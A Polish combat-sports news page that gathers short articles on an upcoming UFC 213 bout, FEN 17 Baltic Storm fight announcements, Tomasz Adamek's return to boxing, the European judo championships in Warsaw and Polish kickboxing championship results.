Ale „co było nie wróci” i warto pamiętać, że „tyle przed nami”. Wiadomo, że sytuacja Omielańczuka w UFC jest trudna, bo po dwóch porażkach stąpa po cienkim lodzie. Jednak już raz 34-latek znalazł się w podobnej sytuacji. W debiucie w UFC pokonał przez nokaut Nandora Guelmino, a później zanotował dwie porażki. Jego los w amerykańskiej organizacji wisiał na włosku, ale Polak zaczął walczyć rewelacyjnie. W niecałe 50 sekund pokonał Chrisa de la Rochę, później wygrał przed czasem Jarjisa Danho i decyzją sędziów triumfował w starciu z mocnym Alexejem Olejnikiem. Omielańczuk wyglądał coraz lepiej, ale przytrafiły mu się dwie porażki i musi budować swoją pozycję w UFC praktycznie od nowa.

Przed kolejnym wyzwaniem 34-latek stanie 8 lipca w Las Vegas. Na gali UFC 213 zmierzy się z Curtisem Blaydesem. Tej walki Polak przegrać nie może.

Amerykańska maszyna

26-letni Blaydes zbiera doświadczenie w UFC. Jednak trzeba zwrócić uwagę na jego bilans. Wygrał 7 z 8 walk i wszystkie przed czasem!

Amerykanin jest niezwykle groźny i potrafi zasypać rywala ciosami, po których ten nie jest w stanie wrócić do rywalizacji. Blaydes zaczął przygodę w UFC rok temu od porażki z Francisem Ngannou. Potem rozbił łokciami Cody'ego Easta i pokonał Adama Milsteada. Ostatnie zwycięstwo odebrano mu ze względu na pozytywny wynik testu na obecność marihuany.

Omielańczuk stanie przed trudnym zadaniem. Blaydes jest młodszy o osiem lat, niezwykle szybki i skuteczny. Wszystko w rękach Polaka, który czeka na piąte zwycięstwo w UFC.

KM

Brooklyn kontra Kazuba na otwarcie gali FEN 17 Baltic Storm

Od mocnej walki Adama Brzezowskiego z Damianem Tarabaszem rozpocznie się 12 maja gala FEN 17 Baltic Storm w Gdynia Arena. Dla obu tych młodych, obiecujących fighterów wagi półśredniej będzie to debiut w organizacji Fight Exclusive Night.

26-letni Adam „Brooklyn” Brzezowski to utalentowany zawodnik klubu MMA Devil Międzychód, który ma na swoim koncie m.in. mistrzostwo Wielkopolski w submission fighting. Dotychczas stoczył ponad 20 amatorskich walk grapplingowych i w formule MMA. Podopieczny trenera Przemysława Kniocha w zawodowym ringu debiutował ponad trzy lata temu. Obecnie jego rekord to 4 zwycięskie walki, w których dwa razy nokautował i dwa razy poddawał swoich rywali, oraz 2 porażki.

Przeciwnikiem Brzezowskiego na gali FEN 17 Baltic Storm będzie reprezentujący gdyński Energy Fight Club, 27-letni Damian „Kazuba” Tarabasz. Zawodnik duetu trenerskiego Maciej Kartawik i Jarosław Miotk to amatorski mistrz Polski w MMA z 2012 roku, ale sukcesy odnosił także na ringach bokserskich, m.in. dwukrotnie zdobywając tytuł wicemistrza Poznania. Jako zawodowiec na zasadach MMA walczył dotąd trzy razy, odnosząc 2 zwycięstwa i raz przegrywając. Ostatni walkę stoczył zaledwie 2 tygodnie temu na lokalnej gali w Radomiu, pokonując na punkty Artura Zientalaka.

W innych ogłoszonych już walkach na zasadach MMA podczas gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem, Bartosz Leśko z Aleksandrem Rychlikiem oraz Jakub Kowalewicz z Aleksandrem Georgasem, a w pojedynkach K-1 spotkają się Radosław Paczuski z Holenderem Menno Van Roosmalenem i Jarosław Daschke z Robertem Rajewskim juniorem. 12 maja w Gdynia Arena wystąpią także Kamil Łebkowski, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Pojedynek weteranów, czyli Adamek poznał rywala

Tomasz Adamek zmierzy się z Solomonem Haumono na gali Polsat Boxing Night w Gdańsku, która odbędzie się 24 czerwca. Dla Polaka będzie to powrót na ring po ponad rocznej przerwie.

Nie mógł wytrzymać i postanowił wrócić. W kwietniu ubiegłego roku Adamek żegnał się z publicznością po porażce z Erikiem Moliną. Miała to być ostatnia walka byłego mistrza WBC w kategorii półciężkiej.

Życie zaczyna się po „40”

Na emeryturze ciężko wytrzymać. Niby człowiek chce odpocząć i poświęcić czas sobie oraz najbliższym, ale pojawia się moment, w którym czegoś brakuje. Sugar Ray Leonard, George Foreman, Floyd Mayweather Jr., Oscar de La Hoya, Andrzej Gołota czy ostatnio Manny Pacquaio – to nazwiska tych bokserów, którzy pomimo deklaracji o zakończeniu kariery postanowili wrócić na ring. 2 kwietnia 2016 roku – właśnie ta data miała być zamknięciem sportowej przygody Tomasza Adamka. Popularny „Góral” zdobywał pasy mistrzowskie w kategoriach juniorciężkiej i półciężkiej. Warto wspomnieć, że Polak rywalizował o pas w wadze ciężkiej, ale przegrał z Witalijem Kliczko. W Krakowie otrzymał potężny cios od Erica Moliny i w 10. rundzie znalazł się na deskach. To była piąta porażka Adamka w 55 walce. Miała być ostatnia.

Nastąpił jednak zwrot akcji. Tomasz Adamek zaprezentuje się 24 czerwca w Gdańsku, podczas gali, której promotorem będzie Mateusz Borek. Dla znanego komentatora będzie to debiut w nowej roli. W zestawieniu Polsat Boxing Night nie brakuje mocnych nazwisk. Z pewnością Adamek będzie magnesem dla widzów. Można zaryzykować, że życie zaczyna się po „40”. „Góral” swoje już w boksie zrobił, a teraz może z tego czerpać. W polskich warunkach nadal jest gwiazdą. Zwłaszcza, że na horyzoncie nie widać wyróżniających się postaci. 

Poznaliśmy również nazwisko najbliższego rywala Adamka. Będzie nim Solomon Haumono. Zapewne dla wielu fanów boksu to nazwisko dość anonimowe. 41-letni Nowozelandczyk nie może pochwalić się większymi sukcesami. W kwietniu ubiegłego roku Haumono zdobył pas WBA Oceania i obronił tytuł mistrzowski PABA. Na swoim koncie ma 24 wygrane, z czego 21 przed czasem oraz trzy porażki i dwa remisy. Ostatnią walkę stoczył w lipcu, kiedy to przegrał z Josephem Parkerem.

Z pewnością będzie to starcie weteranów, w którym dużą rolę odegra kondycja. Niektórzy mogą żartować, że zapowiada się pojedynek dziadków. Jednak Adamek nadal w polskich warunkach ma status gwiazdy. Z trzech ostatnich walk na polskiej ziemi „Góral” wygrał tylko jedno starcie. W pojedynku „weteranów” okazał się lepszy od starszego o osiem lat Przemysława Salety.

Powrót byłego mistrza

W Gdańsku zaprezentuje się Krzysztof Głowacki. Wraca do Ergo Areny, w której ponad pół roku temu stracił pas wagi junior ciężkiej na rzecz Oleksandra Usyka. Nazwisko rywala popularnego „Główki” nie jest jeszcze znane.

Podczas gali Polsat Boxing Night zobaczymy również Ewę Brodnicką i Mateusza Masternaka.

KM

Ważna impreza dla polskiego judo

Trwa dopinanie szczegółów przed rozpoczynającymi się 20 kwietnia mistrzostwami Europy w judo, które odbędą się w warszawskiej hali Torwar. Dla biało-czerwonych może to być przełomowa impreza. Po raz ostatni mistrzostwa Europy w naszym kraju odbyły się 17 lat temu.

Przełomem miały być Igrzyska Olimpijskie w Rio de Janeiro, gdzie liczyliśmy na medal. Arleta Podolak, Daria Pogorzelec, Katarzyna Kłys i Maciej Sarnacki wrócili z niczym. Mimo to, w ostatnich latach widać światełko w tunelu. Czy w Warszawie ono rozbłyśnie i nastąpi otwarcie nowego rozdziału w historii polskiego judo?

Medalowych nadziei nie brakuje

Ostatnie dni przed startem mistrzostw Europy są niezwykle gorące. Prezes Polskiego Związku Judo Jacek Zawadka odbiera setki telefonów, jest jedną z najbardziej rozchwytywanych osób w naszym kraju. – Mamy dobry team, który czuwa nad organizacją imprezy, jednak trzeba wszystkiego doglądać – mówi FighTime.pl Jacek Zawadka.

Organizacja czterodniowej imprezy to ogromne wyzwanie. Wszystko musi być dopięte na ostatni guzik, nawet najmniejszy szczegół. – Po przyznaniu organizacji mistrzostw Europy stanęliśmy przed ogromnym wyzwaniem. Solidnie przepracowaliśmy ten czas. Jesteśmy gotowi do przyjęcia wszystkich, którzy chcą uczestniczyć w wielkim święcie judo. Połowa ekip dotarła już do Warszawy – tłumaczy prezes Polskiego Związku Judo.

Rok temu w Kazaniu biało-czerwoni wywalczyli trzy medale. Niczym Filip z konopi wyskoczył Piotr Kuczera (90kg), który stanął na najniższym stopniu podium. Najlepszą drużyną Starego Kontynentu zostały Polki, zaś panowie wywalczyli brąz. Na własnym terenie mogą pokusić się o poprawienie tego dorobku. – Liczymy na to, że uda się obronić medale naszych drużyn. Dziewczyny są niezwykle mocne i na pewno znajdą się w czołówce. Nieco trudniej będzie u panów, gdzie konkurencja jest bardzo mocna. Liczymy na dobre występy Piotra Kuczery oraz Katarzyny Kłys. Czekamy na niespodziankę w kategorii 57kg, gdzie mamy Annę Borowską i Julię Kowalczyk. Łatwo nie będzie, ale liczymy na ogromne serce do walki, które pokażą zawodniczki – przedstawia Zawadka.

Ważna impreza

Mistrzostwa Europy w Warszawie (20-23 kwietnia) to szansa dla polskiego judo. Po pierwsze, na sukces sportowy, po drugie – na zwiększenie popularności dyscypliny. – Niewątpliwie jest to dla nas ważna impreza. Zarazem będzie to otwarcie dla nowego zarządu naszego związku. Na poziomie sportowym będzie to ważny test dla zawodników przed mistrzostwami świata i rozpoczęciem kwalifikacji do igrzysk olimpijskich – przyznaje prezes PZJudo. – Pobudziliśmy całe środowisko. Chcemy dotrzeć do jak największej liczby osób. Imprezę śledzić będą uczniowie mazowieckich szkół. Podczas mistrzostw zaplanowaliśmy trening ukemi, czyli podstawę dla dzieci nietrenujących judo – dodaje.

W programie imprezy również występ Norbiego (21 kwietnia, 15:15) oraz trening z mistrzem Pawłem Nastulą (22 kwietnia, 14.30).

Fot. PZJudo/S.Michałowski

KM

Kto znajdzie się na szczycie?

Warszawa czeka na czołowych judoków Starego Kontynentu. Mistrzostwa Europy wystartują już 20 kwietnia. Szykują się sportowe emocje i wiele atrakcji.

Święto judo w Polsce. W naszym kraju regularnie odbywają się międzynarodowe zawody, jednak na kolejne mistrzostwa Europy przyszło nam czekać 17 lat. W 2000 roku gospodarzem czempionatu był Wrocław.

Cztery dni wielkich emocji

Hala Torwar zamieni się w istną świątynię judo. Przez cztery dni na warszawskim tatami będą rywalizowali najlepsi zawodnicy Europy. Start imprezy w czwartek 20 kwietnia o 11.00. Jako pierwsi na tatami zaprezentują się kobiety w kategoriach 48, 52 i 57kg oraz mężczyźni w 60 i 66kg. Rzecz jasna nie może zabraknąć Polaków. O medale powalczą Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (obie 52kg), Julia Kowalczyk i Anna Borowska (obie 57kg), Aleksander Beta i Patryk Wawrzyczek (obaj 66kg). W programie pierwszego dnia imprezy zaplanowano również trening ukemi. O 14.15 rozpocznie się nauka bezpiecznego upadania dla dzieci nietrenujących judo.

Drugiego dnia mistrzostw Europy zapadną rozstrzygnięcia wśród kobiet w kategoriach 63 i 70kg oraz mężczyzn w 73 i 81kg. Start zmagań o 11.00. O medale powalczą Karolina Tałach i Agata Ozdoba (obie 63kg), Katarzyna Kłys i Sandra Lickun (obie 70kg), Wiktor Mrówczyński i Mateusz Garbacz (obaj 73kg), Damian Szwarnowiecki, Jakub Kubieniec, Łukasz Błach (wszyscy 81kg). Atrakcją dnia będzie koncert Norbiego, który zaplanowano o 15.15. Kwadrans później odbędzie się ceremonia otwarcia mistrzostw. W sobotę o 12.00 o medale rywalizować będą najciężsi zawodnicy. Wśród nich m.in. zdobywca brązowego krążka na poprzednim czempionacie Piotr Kuczera (90kg). Ponadto, z dużymi nadziejami do rywalizacji przystąpią: Paula Kułaga i Beata Pacut (obie 78kg), Anna Załęczna (+78kg), Patryk Ciechomski i Tomasz Szczepaniak (obaj 90kg), Jakub Wójcik, Tomasz Domański, Mariusz Krueger (wszyscy 100kg), Kamil Grabowski i Maciej Sarnacki (+100kg). W sobotę wielką atrakcją dla miłośników judo będzie trening z Pawłem Nastulą. Mistrz olimpijski z Atlanty będzie prowadził zajęcia dla dzieci.

Ostatniego dnia imprezy będziemy ściskać kciuki za nasze drużyny. Mamy powody do optymizmu, bo tworzymy świetny kolektyw. Nasze panie rok temu wywalczyły złoto w Kazaniu, a męska drużyna zdobyła brąz. Czy po upływie 12 miesięcy ponownie usłyszymy Mazurka Dąbrowskiego?

Czołówka w stolicy

W Warszawie zaroi się od gwiazd. Pierwszoplanową postacią powinna być 25-letnia Majlinda Kelmendi. Liderka światowych list to mistrzyni olimpijska i mistrzyni Europy. W tym roku wygrała zawody Grand Slam w Paryżu. Emocji nie zabraknie w kategorii 63kg. A to za sprawą Tiny Trstenjak i Clarisse Agbegnenou. Obie spotkały się w finale igrzysk olimpijskich. Lepsza okazała się Słowenka, tak jak i w przypadku mistrzostw świata w 2015 roku. Francuzka będzie chciała wziąć rewanż na rywalce. Nie zabraknie liderki list Guusje Steenhuis (78kg). W dziewięciu kolejnych startach Holenderka stawała na podium!

Orkhan Safarov (60kg) będzie chciał w końcu sięgnąć po złoto. Do tej pory dwa razy rywalizował w finale i musiał przełknąć gorycz porażki. Obronić tytuł postara się Rustam Orujov (73kg). Azer ma za sobą dobry czas. Był o krok od triumfu w Rio, gdzie musiał uznać wyższość Japończyka Shohei Ono. Na złoto czeka również Elmar Gasimov (100kg), czyli numer 1 światowych list. Azer ma na koncie dwa medale mistrzostw Europy, ale brakuje mu tego z najcenniejszego kruszcu. Trzy lata temu zdobył srebro, rok temu w Kazaniu był piąty.

Fot. Facebook

KM

Robert Rajewski jr rywalem Jarosława Daschke na FEN 17 Baltic Storm

Bardzo interesujący pojedynek K-1 w kategorii do 70 kg czeka kibiców 12 maja w Gdynia Arena. Zmierzą się w nim niezwykle utytułowany i doświadczony Jarosław Daschke z Championa Gdańsk i wracający do kickbokserskich korzeni, głodny sukcesów Robert Rajewski junior z Rajewski Team Płock.

Dla Jarosława Daschke (27 lat, 173 cm, 11-1), trzykrotnego srebrnego medalisty Pucharu Świata i wielokrotnego mistrza Polski w kickboxingu i muay thai, walka na gali FEN 17 będzie trzecią w organizacji Fight Exclusive Night. W poprzednich pojedynkach podopieczny trenera Bogdana Bliźniaka zwyciężał na punkty – w 2014 roku na gali FEN 4 Summer Edition w Sopocie pokonał Łukasza Gawlika, a na FEN 13 Summer Edition w Gdyni wygrał z Marcinem Stopką. Utytułowany weteran amatorskiego kickboxingu (ma na koncie ponad 150 walk, z których wygrał około 120) na zawodowych ringach radzi sobie doskonale – jesienią dopisał do swego rekordu zwycięstwo nad mistrzem Ukrainy Oleksia Mykhailova, a kilka dni temu w starciu z Piotrem Trześniewskim-Trycem obronił pas Zawodowego Mistrza Krajów Nadbałtyckich Federacji BMAF K-1.

Robert Rajewski junior (26 lat, 180 cm, 10-4) na FEN 17 Baltic Storm również trzeci raz wystąpi w klatkoringu Fight Exclusive Night, ale po raz pierwszy stoczy w nim walkę na zasadach K-1. W poprzednich pojedynkach fighter z Płocka walczył w formule MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 maja w Gdynia Arena Rajewski jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

W innych ogłoszonych już zestawieniach gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem, Bartosz Leśko z Aleksandrem Rychlikiem oraz Jakub Kowalewicz z Aleksandrem Georgasem. 12 maja w Gdynia Arena wystąpią także m.in. Kamil Łebkowski, Radosław Paczuski, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Robert Rajewski jr rywalem Jarosława Daschke na FEN 17 Baltic Storm

Bardzo interesujący pojedynek K-1 w kategorii do 70 kg czeka kibiców 12 maja w Gdynia Arena. Zmierzą się w nim niezwykle utytułowany i doświadczony Jarosław Daschke z Championa Gdańsk i wracający do kickbokserskich korzeni, głodny sukcesów Robert Rajewski junior z Rajewski Team Płock.

Dla Jarosława Daschke (27 lat, 173 cm, 11-1), trzykrotnego srebrnego medalisty Pucharu Świata i wielokrotnego mistrza Polski w kickboxingu i muay thai, walka na gali FEN 17 będzie trzecią w organizacji Fight Exclusive Night. W poprzednich pojedynkach podopieczny trenera Bogdana Bliźniaka zwyciężał na punkty – w 2014 roku na gali FEN 4 Summer Edition w Sopocie pokonał Łukasza Gawlika, a na FEN 13 Summer Edition w Gdyni wygrał z Marcinem Stopką. Utytułowany weteran amatorskiego kickboxingu (ma na koncie ponad 150 walk, z których wygrał około 120) na zawodowych ringach radzi sobie doskonale – jesienią dopisał do swego rekordu zwycięstwo nad mistrzem Ukrainy Oleksia Mykhailova, a kilka dni temu w starciu z Piotrem Trześniewskim-Trycem obronił pas Zawodowego Mistrza Krajów Nadbałtyckich Federacji BMAF K-1.

Robert Rajewski junior (26 lat, 180 cm, 10-4) na FEN 17 Baltic Storm również trzeci raz wystąpi w klatkoringu Fight Exclusive Night, ale po raz pierwszy stoczy w nim walkę na zasadach K-1. W poprzednich pojedynkach fighter z Płocka walczył w formule MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 maja w Gdynia Arena Rajewski jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

W innych ogłoszonych już zestawieniach gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem, Bartosz Leśko z Aleksandrem Rychlikiem oraz Jakub Kowalewicz z Aleksandrem Georgasem. 12 maja w Gdynia Arena wystąpią także m.in. Kamil Łebkowski, Radosław Paczuski, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Starcie Leśko vs Rychlik w karcie walk FEN 17 Baltic Storm

Bartosz Leśko, jeden z najbardziej obiecujących zawodników MMA młodego pokolenia, już 12 maja zadebiutuje w organizacji Fight Exclusive Night. Fighter Mad Dogs Gdynia na gali FEN 17 Baltic Storm w Gdynia Arena będzie miał bardzo trudnego przeciwnika – jego rywalem będzie Aleksander Rychlik z WCA Fight Team Warszawa.

Bartosz Leśko (20 lat, 189 cm, 4-0-1, 2 KO, 2 SUB) to kolejny po Bartoszu Chyrku i Jacku Krefcie reprezentant klubu Mad Dogs Gdynia, który związał się z federacją Fight Exclusive Night. Utalentowany fighter z Trójmiasta zwrócił na siebie uwagę kibiców MMA już jako amator, odnosząc 19 zwycięstw w 23 walkach oraz zdobywając Puchar Polski i tytuł międzynarodowego mistrza Polski juniorów. Leśko jest także wielokrotnym medalistą mistrzostw świata, Europy i Polski w karate. W profesjonalnym MMA zadebiutował w styczniu 2015 roku, na gali ToM 1 First Blood w Sopocie poddając Marka Michaluka. Jako zawodowiec podopieczny Bartosza Chyrka jeszcze nie poczuł goryczy porażki – na swoim koncie ma 4 zwycięstwa, wszystkie odniesione przed czasem, oraz 1 remis. W ostatnim swoim pojedynku, w listopadzie ubiegłego roku na gali ToM 3, duszeniem zza pleców pokonał Macieja Szydłowskiego.

Aleksander Rychlik (28 lat, 188 cm, 5-2, 3 KO, 1 SUB), który przez wiele lat uprawiał taekwondo olimpijskie, w zawodowym MMA zadebiutował trzy lata temu, nokautując mocnego Dawida Wanata. Pierwszą walkę w klatkoringu Fight Exclusive Night stoczył przed rokiem na gali FEN 10 Gold Edition. Zawodnik WCA Fight Team Warszawa w debiucie w FEN nie zdołał wygrać, ale trzeba podkreślić, że organizacja zawiesiła mu wysoko poprzeczkę, zestawiając go z kroczącym od zwycięstwa do zwycięstwa Pawłem Hadasiem. W ostatnim swoim występie wychowanek znakomitego trenera Roberta Jocza efektownie pokonał Białorusina Andreia Zaksheuskiego, nokautując go w trzeciej minucie walki wieczoru listopadowej gali WCA 3 Fight Night.

Starcie Bartosz Leśko vs Aleksander Rychlik to druga ogłoszona już walka gali FEN 17 Baltic Storm – wcześniej federacja FEN poinformowała, że 12 maja w Gdynia Arena dojdzie do walki Martin Chudej vs Michał Wlazło. Oprócz nich tego wieczora w klatkoringu Fight Exclusive Night wystąpią m.in. Kamil ŁebkowskiRadosław PaczuskiJarosław DaschkeMichał OleksiejczukMarcin Szreder Ireneusz Szydłowski.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Kowalewicz kontra Georgas na FEN 17 Baltic Storm

Jakub Kowalewicz, jeden z najwyżej notowanych lekkich polskiego MMA, ponownie zawalczy w klatkoringu Fight Exclusive Night! Już 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena zmierzy się z innym czołowym fighterem organizacji FEN – Aleksandrem Georgasem. Walka zakontraktowana została w kategorii do 66 kg.

Dla Jakuba Kowalewicza (24 lata, 178 cm, 8-3, 3 KO, 2 SUB) będzie to druga walka w federacji FEN – w pierwszej latem 2014 roku na gali FEN 3 War is Coming ten młody, ale już doświadczony zawodnik duszeniem gilotynowym poddał Łukasza Kuliga. Od tego czasu reprezentant WCA Fight Team Warszawa stoczył 6 zawodowych walk, w których m.in. na punkty pokonał Kamila Gniadka i błyskawicznie udusił Łukasza Rajewskiego. Były wielokrotny mistrz Polski juniorów w judo i zwycięzca Amatorskich Pucharów KSW w ubiegłym roku dwukrotnie wygrywał na zawodach WCA Fight Night, już w pierwszych rundach nokautując Daniela Chrzanowskiego i Leonida Smirnova.

Aleksander Georgas (26 lat, 175 cm, 8-4, 5 SUB) na FEN 17 Baltic Storm również po raz drugi wystąpi w klatkoringu Fight Exclusive Night – w debiucie na ubiegłorocznej gali FEN 13 Summer Edition przed własną publicznością kimurą w drugiej rundzie pokonał Roberta Rajewskiego juniora. Podobnie jak Kowalewicz, zawodnik Mighty Bulls Gdynia zaliczany jest do najbardziej perspektywicznych, a jednocześnie najbardziej dojrzałych młodych zawodników polskiego MMA. Podopieczny cenionego trenera Grzegorza „Jakubka” Jakubowskiego karierę zawodową rozpoczął w 2011 roku, od efektownej serii pięciu zwycięstw z rzędu. Obecnie gdynianin ma na swoim koncie 8 zwycięstw i 4 porażki.

W innych ogłoszonych już zestawieniach gali FEN 17 Baltic Storm zmierzą się Michał Wlazło z Czechem Martinem Chudejem oraz Bartosz Leśko z Aleksandrem Rychlikiem. 12 maja w Gdynia Arena wystąpią także m.in. Kamil Łebkowski, Radosław Paczuski, Jarosław Daschke, Michał Oleksiejczuk, Marcin Szreder i Ireneusz Szydłowski.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Walka o mistrzostwo Europy? Wach rezygnuje

Mistrzostwo Europy w wadze ciężkiej nie dla Mariusza Wacha. Pięściarz wagi ciężkiej zrezygnował ze starcia o tytuł. W polskim boksie szykuje się ważne wydarzenie. 3 czerwca do rywalizacji o pas w wadze półciężkiej stanie Andrzej Fonfara.

37-letni „Viking” ma już na swoim koncie dwa pojedynki o mistrzostwo świata w wadze ciężkiej, jednak kończył je jako przegrany. Wokół walk z Władimirem Kliczko i Aleksandrem Powietkinem nie brakowało kontrowersji. Wach nadal buduje swoją pozycję w wadze ciężkiej. Miał szansę stanąć do walki o tytuł mistrza Europy.

Inne wyzwania

4 lutego Mariusz Wach miał rywalizować z Agitem Kabayelem o tytuł mistrza Europy w kategorii ciężkiej. Polak wycofał się i 18 marca spotkał się z Erkanem Teperem. Wach zanotował 33 wygraną w karierze. Z kolei Kabayel pokonał Herve'a Hubeauxa i zdobył tytuł mistrza Europy. 24-letni Niemiec ponownie spoglądał w stronę polskiego boksera, jednak ten powiedział „nie”. Wach miał status oficjalnego pretendenta do tytuł mistrza Europy. Europejska Unia Boksu poinformowała, że „Viking” zrezygnował ze swojej pozycji.

Obecnie Wach przebywa w mistrzowskim towarzystwie. Polak sparuje z czepionem IBF Anthonym Joshuą, który przygotowuje się do pojedynku z Władimirem Kliczko. Walka odbędzie się 29 kwietnia na stadionie Wembley, a jej stawką będą trzy pasy. 

Z pewnością Wach myśli o kolejnym starciu mistrzowskim, ale przed nim długa droga. Spekuluje się, że kolejnym rywalem Polaka może być Dillian Whyte. Pojedynek miałby się odbyć 3 czerwca w Londynie. 29-letni Whyte pokonał ostatnio Derecka Chisorę i może pochwalić się czterema wygranymi walkami z rzędu.

Czas na rewanż

Marzenia się spełniają. Czy krok w stronę ich realizacji uczyni Andrzej Fonfara? „Polski Książę” robił wszystko, co w jego mocy, żeby doprowadzić do rewanżowego starcia z Adonisem Stevensonem. W końcu udało się. 3 czerwca w Quebecu  Fonfara spotka się z mistrzem WBC.

Po niespodziewanej porażce z Jose Smithem Jr., 29-letni Polak w efektowny sposób uporał się z Chadem Dawsonem. Fonfara w 10. rundzie pokonał przez techniczny nokaut byłego mistrza świata wagi półciężkiej. Teraz będzie chciał pokonać czempiona, z którym rywalizował w maju 2014 roku. Wtedy Polak już w pierwszej rundzie leżał na deskach, ale nie poddał się i walczył. Nie ustępował mistrzowi. W dziewiątej rundzie Fonfara posłał rywala na deski, ale Stevenson walczył dalej. Po dwunastu rundach sędziowie wskazali na Kanadyjczyka.

Teraz Polak jest bardziej doświadczony, a Stevenson… starszy. Czy w tym należy upatrywać nadziei? 39-letni Kanadyjczyk potrafi wstrząsnąć rywalami. Dwie ostatnie, a w sumie 23 walki wygrał przed czasem. 

KM

Dziedzic i Krasoń, czyli złoto po raz piąty

Emilia Czerwińska (60kg), Karolina Dziedzic (70kg), Robert Krasoń (75kg) i Mateusz Kubiszyn (86kg) obronili tytuły mistrzów Polski w kickboxingu w formule full contact. W Piotrkowie Trybunalskim zaprezentowało się 178 zawodników.

Rywalizacja o tytuł najlepszych w Polsce ponownie zawitała do Piotrkowa. O medale walczyli seniorzy i juniorzy.

Zawodnicy na „piątkę”

Na powtórzenie ubiegłorocznego wyniku liczył Robert Krasoń. Zawodnik Piotrowskiej Szkoły Sztuk Walki Tom Center przystępował do mistrzostw z nadzieją na zdobycie piątego złotego medalu. Krasoń krok po kroku zmierzał w stronę finału. Najpierw pokonał Rafała Sztarka, a następnie Miłosza Pacaka. W finale Krasoń spotkał się z brązowym medalistą z 2016 roku Łukaszem Trelą. Wykorzystał atut własnego terenu i sięgnął po raz piąty po tytuł mistrzowski.

Na „piątkę” spisała się Karolina Dziedzic. O tym, że historia lubi się powtarzać nie trzeba nikogo przekonywać. Dzieci ponownie rywalizowała z Weroniką Rogala. Zawodniczka Stowarzyszenia Sportu i Rekreacji Wola nie znalazła sposobu na reprezentantkę Diamentu Pstrągowa.

Robert Niedźwiecki (57kg) liczył na trzecie złoto. Wcześniej zdobywał tytuły mistrzowskie w Luboniu i Piotrkowie. Tym razem zawodnik Ziętek Team Kalisz musiał obejść się smakiem, na pocieszenie pozostał mu srebrny medal. Ze złota cieszył się Łukasz Wydro.

Dwie wygrane walki dały tytuł mistrzowski Mateuszowi Kubiszynowi (86kg). Tak jak i rok temu na trzecim miejscu znalazł się Przemysła Ziemnicki. Tytuł obroniła Emilia Czerwińska (60kg), która w finale debiutującą w full contact Joannę Różańską.

Ze złota cieszy się Karolina Mośko (48kg), która rok temu okazała się gorsza od Ewy Bulandy. Tym razem zawodniczka KKS Sporty Walki Poznań pokonała Arletę Oleksy, która rok temu wywalczyła trzecie miejsce.

WYNIKI:

48kg: 1. Karolina Mośko, 2. Arleta Oleksy
52kg: 1. Olga Michalska, 2. Maria Romańska, 3. Żaneta Cieśla, Marta Pyra
56kg: 1. Paulina Saczuk, 2. Paulina Szewczuk
60kg: 1. Emilia Czerwińska, 2. Joanna Różańska, 3. Agata Piechowicz
65kg: 1. Pola Rogala, 2. Agnieszka Osial, 3. Monika Puzio
70kg: 1. Karolina Dziedzic Dziedzic, 2. Weronika Rogala, 3. Karolina Juja
54kg: 1. Paweł Dąbrowski
57kg: 1. Łukasz Wydro, Robert Niedźwiedzki
60kg: 1. Michał Pomieciński, 2. Maciej Mucha, 3. Jakub Konieczny
63.5kg: 1. Przemysław Kacieja, 2. Mikołaj Staszkiewicz, 3. Bartłomiej Derleta, Bartłomiej Salak
67kg: 1. Mariusz Ziętek, 2. Rafał Nguyen-von, 3. Kamil Dychała, Tomasz Micigolski
71kg: 1. Jakub Pokusa, 2. Tomasz Przybylski, 3. Kamil Dajwłowski, Mateusz Parat
75kg: 1. Robert Krasoń, 2. Łukasz Trela, 3. Daniel Dajcz, Miłosz Pacak
81kg: 1. Filip Karbownik, 2. Piotr Kołakowski, 3. Patryk Szyszko, Damian Chiliński
86kg: 1. Mateusz Kubiszyn, 2. Krystian Chramęga, 3. Paweł Kochański, Przemysław Ziemnicki
91kg: 1. Paweł Strykowski, 2. Rafał Gąszczak, 3. Marcin Szuleta, Szymon Wąs
+91kg: 1. Jakub Kozera, 2. Piotr Paszczak, 3. Kamil Mąkosa
Fot. Facebook

KM

Widowiskowy popis umiejętności Juśkiewicz podczas LFN „Five Ponts”!

